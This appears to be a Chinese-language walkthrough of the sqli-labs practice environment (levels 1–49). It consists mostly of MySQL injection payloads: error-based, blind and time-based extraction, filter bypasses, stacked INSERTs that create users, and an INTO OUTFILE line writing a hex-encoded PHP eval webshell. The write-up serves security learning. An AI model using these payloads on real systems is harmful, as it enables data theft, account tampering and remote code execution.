less-1(普通字符型)
http://127.0.0.1/sql/Less-1/?id=1
加’可知可能是字符型注入
用and來確認
說明存在注入
order by查詢字段數
存在3個字段
union select查詢在頁面中顯示的位置
查詢數據庫
查詢表
查字段
查內容
less2(普通數值型)
數字型的
less3(帶括號字符型)
使用’可知可能是拼接型的字符型注入
使用and判斷
確定是注入點
order by查詢字段數
less4(帶括號雙引號字符型)
使用’以及數值型無法判斷,使用%81也無法判斷,使用”發現可能是雙引號型的注入,並且是帶括號的
使用and
order by
less5(雙查詢型單引號)
使用’可知可能是字符型注入
使用and
初步確定注入
order by確定字段數
union select查看頁面中顯示位置
失敗,對於注入時沒有在頁面中顯示位置的可使用雙查詢注入方法!
使用雙查詢注入固定公式
union select 1 from (select count(),concat(floor(rand(0)2),(注入語句))a from information_schema.tables group by a)b -- -
查詢表
太多顯示不了,使用limit查詢
http://127.0.0.1/sql/Less-5/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>113 -- -
' or 1 group by concat_ws(0x3b,version(),floor(rand(0)*2)) having min(0) or '1
less6(雙查詢型雙引號)
使用’以及數值型注入無法判斷,使用寬字節無法判斷,使用”進行判斷可知是雙引號型的字符注入
使用and
order by
union select
無返回顯示位,使用雙查詢注入
less7(雙括號盲注mid,ascii,基於時間)
使用’以及數值型無法判斷,根據less2,猜測可能存在有括號的情況
嘗試把後面的一個and換成註釋,發現失敗
猜測可能後面還有一個括號註釋不了
使用雙括號試試
使用order by
使用union select
沒有回顯,使用雙查詢注入失敗
使用mid函數進行盲注
判斷數據庫長度
AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0X20)),9,1))>1
查詢表
AND ORD(MID((SELECT IFNULL(CAST(table_name AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7365637572697479 LIMIT 0,1),1,1))>1 -- -
LIMIT 0,1),1,1
0,1第一張表是否存在,一次性查詢一張表
1,1第一個字符是否存在,一次性查詢一個字符
查詢字段
AND ORD(MID((SELECT IFNULL(CAST(column_name AS CHAR),0x20) FROM INFORMATION_SCHEMA.columnS WHERE table_schema=0x7365637572697479 LIMIT 0,1),1,1))>105 -- -
查內容
AND ORD(MID((SELECT IFNULL(CAST(id AS CHAR),0x20) FROM emails limit 0,1),1,1))>48 -- -
使用ascii
')) and(ascii(substr((select(database())),8,1))>1) and sleep(5) -- -
可單獨使用
')) and(ascii(substr((select(database())),8,1))>1) -- -
less8(字符型盲注mid)
使用’以及and可知存在注入
order by
union select不返回顯示位
使用雙查詢注入失敗
使用mid
數據庫總共有8個字符
less9(基於時間的盲注單引號)
使用’以及數值型無法判斷,使用寬字節無法判斷,使用帶括號無法判斷,使用sleep判斷
帶’試試
初步判斷爲基於時間的盲注
使用and
使用mid
使用ascii
' and(ascii(substr((select(database())),9,1))>1) and sleep(5) and '1'='1
less10(基於時間的盲注雙引號)
使用’以及數值型無法判斷,使用寬字節無法判斷,使用帶括號無法判斷,使用sleep判斷,以及使用單引號的sleep也無法判斷出,根據less4猜測可能是雙引號
使用mid
less11(post 字符型)
獲取請求頭參數
post注入
對uname進行注入探測
使用’判斷可能存在注入
使用or進行進一步探測(主要是使用萬能語句來判斷,根據是否成功登陸,使用and的話想對麻煩點)
在使用and來進一步注入
常規字符注入
使用雙查詢
使用mid
less12(post 帶括號字符型)
使用’以及數值型無法判斷,使用寬字節無法判斷,使用雙引號判斷可能存在注入,且是帶括號型的
使用or
order by
union select
less13(帶括號雙查詢)
使用’可知是字符型的,且是帶括號的
使用and
order by
union select無返回顯示位
使用雙查詢
union select 1 from (select count(),concat(floor(rand(0)2),(select database()))a from information_schema.tables group by a)b -- -
less14(雙查詢雙引號)
less15(時間盲注,mid)
使用’ 以及 or 以及order by
union select不返回顯示位,雙查詢失敗
使用sleep試試
less16(時間盲注,mid,帶括號)
less17(顯錯注入)sqlmap掛
這裏提示是密碼重置,應該是使用update更新語句,在insert、update、delete用法一致的時候,使用payload
or updatexml(2,concat(0x1,(注入語句)),0) or '
and extractvalue(1, concat(0x7f, (select version()),0x7f))
and 1=(select from (select NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)
使用子查詢
' or (SELECT 1 FROM(SELECT count(),concat((SELECT(SELECT concat(0x1, cast(database() as char), 0x1)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a) or '
less18(user-agent顯錯,時間,子查詢)
通過頁面查看可知本題注入存在於http請求包裏面(如果沒有提示的話就得先嚐試登錄框)!
簡單使用’對host以及User-Agent判斷,可知注入點可能是User-Agent
使用and,or,無法進一步判斷,使用sleep進行嘗試
使用子查詢
' or (SELECT 1 FROM(SELECT count(),concat((SELECT(SELECT concat(0x1,cast(database() as char),0x1)) FROM information_schema.tables limit 0,1),floor(rand(0)2))x FROM information_schema.columns group by x)a) or '
' or (SELECT 1 FROM(SELECT count(),concat((SELECT(SELECT concat(0x1,cast(database() as char),0x1))),floor(rand(0)2))x FROM information_schema.columns group by x)a) or '
顯錯注入
' or updatexml(2,concat(0x1,(database()),0x1),0) or '
less19(referer顯錯,時間,子查詢)
referer字段可能存在注入
使用’
使用and or失敗,使用sleep
使用子查詢
' or (SELECT 1 FROM(SELECT count(),concat((SELECT(SELECT concat(0x1,cast(database() as char),0x1))),floor(rand(0)2))x FROM information_schema.columns group by x)a) or '
顯錯注入
' or updatexml(2,concat(0x1,(database()),0x1),0) or '
less20(cookie注入,雙查詢)
使用’
使用and
union
使用雙查詢
less21(cookie注入,base64編碼)
可知cookie是通過base64編碼的
使用’
使用admin') and 1=1 -- -
使用admin') and 1=2 -- -
使用order by
union
admin') and 1=2 union select 1,2,3 -- -
less22(cookie注入,base64編碼,雙引號)
使用’以及數值型,以及寬字節均無法判斷,使用”可初步判斷
使用and
使用admin" and 1=2 union select 1,2,3-- -
less23(顯錯注入,子查詢)
使用’
使用and
使用雙查詢失敗
使用顯錯注入
or updatexml(2,concat(0x1,(注入語句)),0) or '
使用子查詢
' and (SELECT 1 FROM(SELECT count(),concat((SELECT(SELECT concat(0x1,cast(database() as char),0x1))),floor(rand(0)2))x FROM information_schema.columns group by x)a) and '
less24(二次注入)
在登錄的地方,請求的地方均未發現存在有注入,登錄進去後發現有一個密碼重置功能,考慮可能是update語句,可使用顯錯注入,但是提交的時候抓包沒發現重置密碼是提交的用戶名,此時考慮可能存在二次注入。
最基本的一個利用方法如下,已知系統中存在有admin這個賬戶,此時我們註冊一個admin’ -- -的用戶,登錄進去後進行修改密碼,這裏按理解應該是修改admin’ -- -用戶的密碼,其實不然這是修改admin賬戶的密碼,即使我們不知道admin的原密碼。
由於數據庫設置了用戶名長度,懶得改了,應該是可以使用顯錯注入的!
less25(字符注入,過濾一次and和or)
使用’
使用and或or
可知過濾了and和or關鍵字,使用大小寫失敗
使用雙重嵌套,在and裏面嵌套一個and
也可以使用&&的URL編碼%26%26
使用order by
less25a(數值型,過濾一次and和or)
使用’無法判斷,使用數值型可判斷
使用aandnd 1=1
less26(字符注入,過濾空格及註釋)
使用’
使用and
過濾了空格以及註釋,以及上一關的and,or,這個可以使用嵌套繞過,或者使用其符號(&& ||)的URL編碼進行繞過!
不使用空格及註釋,使用&&或者||然後在使用顯錯注入
-1%27 %26%26 extractvalue(1,concat(0x1,database()))%26%26'1'='1
-1%27 || extractvalue(1,concat(0x1,database()))||'1'='1
' %26%26 updatexml(2,concat(0x1,(database())),0)%26%26'1'='1
但是如果想繼續往下查詢就會發現空格怎麼都需要啊,因此使用其他字符的編碼進行繞過,linux使用%0a,windows使用%0a%0d,有時使用%0a也是可以的,但是我的環境就沒有成功,通過對比可能是我mysql版本問題導致,因此根據自身環境來進行測試,爲了忽略這個,因此後面的幾關凡是涉及到過濾空格的代碼我均進行註釋掉,你們只需要知道空格可以使用上面的編碼代替即可!
less26a(帶括號,不顯示mysql錯誤信息)
使用’
使用and
過濾了and,註釋
最後一個截圖我們可知查出來的依舊是id=1的數據,這裏考慮可能存在括號
帶上括號試試
不能使用order by,過濾了*不能使用子查詢,不顯示mysql錯誤信息,不能使用顯錯注入,使用union select進行猜測
也可以這樣使用2') aandnd 1=2 union select 1,2,('3
less27(顯錯注入,過濾)
使用’
使用and
過濾了註釋
對於過濾了註釋,所以後面的’就不能註釋,所以可以考慮使用雙查詢以及報錯注入進行嘗試
使用雙查詢
過濾了union select
使用嵌套
過濾了*好,不能使用雙查詢,因此接着使用顯錯注入
' and updatexml(2,concat(0x1,(database())),0) and '1'='1
查詢表,從上可知select使用嵌套不能繞過,因此使用大小寫混淆進行嘗試
less27a(待定,雙引號)
使用’以及數值型注入以及寬字節均無法進行判斷,使用雙引號進行判斷
使用and
過濾了註釋
過濾了註釋,使用雙查詢或顯錯注入進行嘗試
過濾了*,不能使用雙查詢,不顯示mysql錯誤信息,不能使用顯錯注入
使用union select進行猜測
less28(過濾了union select,ascii模糊查詢)
使用'
使用and
過濾了註釋
可能存在有括號的情況
不顯示mysql錯誤信息不能使用顯錯注入,過濾了*不能使用雙查詢和子查詢
使用union select進行猜測
過濾了union 和select,使用嵌套失敗
過濾了union select以及後面的一個空格(使用%a0可進行繞過,借的圖)
使用ascii
') and(ascii(substr((sElect(database())),1,1))>114)and('1'='1
less28a(過濾union select)
同28,但是可以使用註釋符
使用order by
使用union select,同28
使用ascii
less29(HPP)
使用’
說明有一定的防護,此時我們可以嘗試下編碼,但是沒成功,我們使用HPP(參數污染https://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf) 進行下一步的嘗試
使用’
使用and
less30(HPP,雙引號)
使用’說明有防護,編碼繞過失敗,使用HPP
使用’以及數值型,寬字節型失敗,使用”
less31(HPP,雙引號及括號)
同上探測
說明帶括號雙引號
less32(寬字節)
使用’
從上面可以簡單看出本關使用寬字節,但是我們依舊按照上面的步驟進行,使用數值型無法判斷,使用寬字節(http://eth10.blog.51cto.com/13143704/1962804 )初步判斷可能存在注入
使用and
在查詢表的時候使用十六進制
less33
同上???
less34(寬字節,雙查詢)
使用’,使用數值型無法進行判斷,使用寬字節
使用or
使用雙查詢
less35(數值型)
使用’失敗
使用數值型
使用order by
less36
同32
less37
同34???
less38(堆疊查詢)
同1,另外就是可以使用;來進行多條語句的執行
';insert into users(id,username,password) values ('39','eth10','eth10')--+
less39
同2
less40
使用’
使用and
不能使用註釋,或者說明後面可能還存在括號
使用子查詢失敗,使用顯錯失敗,使用盲注
使用盲注ascii(可以使用基於時間的)
' and(ascii(substr((select(database())),8,1))>1) and '1'='1
');insert into users(id,username,password) values ('40','eth10','eth10'); and ('1'='1
less41
同39
less42
用戶名隨意
密碼:1';insert into users(id,username,password) values ('42','eth10','eth10')-- -
less43
密碼:1');insert into users(id,username,password) values ('42','eth10','eth10')-- -
less44
同42
less45
同43
less46(order by後的注入)
通過對比可知注入點是order by後面的參數
使用desc進行對比
使用報錯
(select count() from information_schema.columns group by concat(0x1,(database()),0x1,floor(rand()2)) limit 0,1)
下面這種對於limit後的注入依舊適用
導出文件,寫馬
sort=1 into outfile "F:\phpStudy\WWW\sql\Less-40\eth10.php" lines terminated by 0x203C3F70687020406576616C28245F504F53545B226574683130225D293B3F3E
使用盲注
1 and If(ascii(substr(database(),1,1))=114,0,sleep(5))--+
less47
通46,只是是字符型的
' procedure analyse(extractvalue(rand(),concat(0x1,version())),1)-- -
' and (updatexml(2,concat(0x1,(database())),0)) -- -
使用延時注入1' and If(ascii(substr(database(),1,1))=114,0,sleep(5))--+
less48
同46,不能使用顯錯可使用盲注
使用rand
rand(ascii(left(database(),1))=116)
less49
同47,沒錯誤回顯
延時盲注
1' and (If(ascii(substr((database()),1,1))=114,0,sleep(5)))-- -